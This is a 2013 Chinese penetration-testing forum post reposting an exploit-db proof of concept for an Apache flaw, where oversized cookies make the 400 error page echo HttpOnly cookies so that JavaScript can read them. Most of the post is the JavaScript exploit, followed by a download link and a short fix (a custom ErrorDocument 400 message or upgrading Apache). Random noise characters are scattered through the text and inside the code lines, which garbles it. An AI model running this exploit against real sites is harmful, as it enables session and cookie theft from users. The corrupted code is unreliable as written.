中国网络渗透测试联盟

标题: Apache HttpOnly Cookie XSS跨站漏洞 [打印本页]

作者: admin    时间: 2013-4-19 19:15
标题: Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。$ j6 g; D  a! I
& y8 e$ w9 I. l( s: r
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
$ n4 d% \1 H! X( B3 e4 S ( r! F+ C# P; A
' q$ D6 ^/ ]0 P; Q' ]5 G
// http://www.exploit-db.com/exploits/18442/: k8 \! f- f* L( `
function setCookies (good) {  ]* X9 g! y1 M9 L8 M4 }
// Construct string for cookie value
8 z$ S8 e+ x! [. m0 pvar str = "";& s) C4 L! g8 E' ]
for (var i=0; i< 819; i++) {; y- V9 d# \2 y5 h  u: G
str += "x";' J( A4 f* J2 h6 K4 p, C
}$ B0 A3 W& ~, v7 g) y1 u
// Set cookies
' o" D6 ?, [, I* q3 D6 S5 i/ mfor (i = 0; i < 10; i++) {
9 u* I& T* e+ q1 e5 A- ]5 d* W; X// Expire evil cookie
1 c. _% b6 ]& q9 n4 I% Vif (good) {! K8 b' n' s/ M( S, q% T1 `
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
3 Z! O8 M8 f3 \8 p3 l8 V: k$ y}! E1 N, |" M! g" A- a
// Set evil cookie8 N$ e: f  [4 a# a( J" j' Q  n
else {  A4 g; x1 O0 I/ q  G2 G8 L
var cookie = "xss"+i+"="+str+";path=/";
" t( M, p% N! G( ~% A) z}
. c5 Y2 V3 ?# A/ L/ Q/ Sdocument.cookie = cookie;+ Y* E& u+ W! `( i7 m# g
}
! E: x" M( A8 J  X/ F}
9 z0 [7 k- |4 y( K* U% A, Sfunction makeRequest() {
/ W* |( Q, r: AsetCookies();2 f8 r3 H* e. |- \  G% h* q: W' t9 _
function parseCookies () {1 y% f+ Y5 y! i2 Z5 L* `. Y$ k
var cookie_dict = {};
# w9 y4 r: O. j; n/ I! {) I, T// Only react on 400 status
5 H7 k  P- `, L% n4 }$ C( Pif (xhr.readyState === 4 && xhr.status === 400) {
& q3 w4 H8 d& e% U# m& j// Replace newlines and match <pre> content# ?( `+ v( Q2 c1 _  O
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
% X; W$ N4 w. B3 v$ |; X: @. cif (content.length) {
5 r5 I& w( n8 x7 C/ U// Remove Cookie: prefix
; t- ^" }3 j9 i5 d# z9 S0 c5 Bcontent = content[1].replace("Cookie: ", "");7 `& v0 G% q5 A6 |
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
; G( T- e' |- l- Q4 @$ m( o// Add cookies to object- m% |8 N3 n+ G
for (var i=0; i<cookies.length; i++) {
0 ]1 B) b, r8 |: {var s_c = cookies.split('=',2);  _  T  X: l1 G% j
cookie_dict[s_c[0]] = s_c[1];
8 L  J; E' Y7 r0 \3 k}
; y( T" u) u2 C  Z' X}
' _: X/ V! Z7 ?! f- |// Unset malicious cookies
  J) e1 @4 ]4 |" e% Y# HsetCookies(true);' N7 _% n5 j) L/ Z7 h# x5 a- }" v6 M" w
alert(JSON.stringify(cookie_dict));
3 D. n' `# S( L4 Z: H: k  y' l# z}
1 z3 I6 j+ E8 L5 ~4 W+ O}: c( h4 U1 ~# V. |' x+ ^! Y
// Make XHR request
) y3 Z# |! h. ?+ r6 bvar xhr = new XMLHttpRequest();
; A! _- W9 ~* xxhr.onreadystatechange = parseCookies;
' ~5 s. _5 S2 |xhr.open("GET", "/", true);
( a5 U. G4 Z) B1 M6 xxhr.send(null);
" _0 r) b: N3 d+ V6 i8 i9 ?}, E$ \- h2 m$ w! b7 c* Y% X
makeRequest();
$ y/ [9 \$ h- J& S; i. P# P/ V7 b6 z) s" {( w
你就能看见华丽丽的400错误包含着cookie信息。
  s6 I+ H$ E% p! {/ [, M( Q$ v4 W) S
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
( w* O" {& P+ ?! @  l# C/ x2 C! R4 U+ d! ~9 {( a
修复方案:
) H  d; @2 O/ e. G7 W+ N+ h% q( S$ `- k, G
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
) \6 d! `( e# d- x( D* w3 S
: [1 l8 F1 o* ]  LIn the event of a problem or error, Apachecan be configured to do one of four things,
6 m' N2 Q1 ^0 r7 U  r. W
- c% w4 N( h0 @3 l, o1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
* |( S2 w( o2 {' Y% K2. output acustomized message输出一段信息3 l% C) [6 ^3 ?/ I+ k
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
9 ]1 ^. ?3 F# ^+ m4 F* y1 |) A4. redirect to an external URL to handle theproblem/error转向一个外部URL
+ e) N5 A, |6 i: L# M% B' b/ Q# ~3 o9 }  t
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容; N0 \, w% m$ _' }' l, b  o
+ J& ~/ d5 a9 r8 I9 H4 v
Apache配置:* d' J- a  I7 f2 z3 x' _9 K- @

5 M0 S# s7 `! q) ~3 r! U6 f: }ErrorDocument400 " security test"
5 z) H# m9 o; j8 L7 a. }. L' r2 L7 d5 v# C4 z3 q3 |
当然,升级apache到最新也可:)。$ P  l' ]) v7 M7 G& n, {

3 t' d6 y' j/ Z1 R! P参考:http://httpd.apache.org/security/vulnerabilities_22.html
' q5 {0 u9 K' z: l) i" X8 e' j3 s6 k- l5 \% B





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2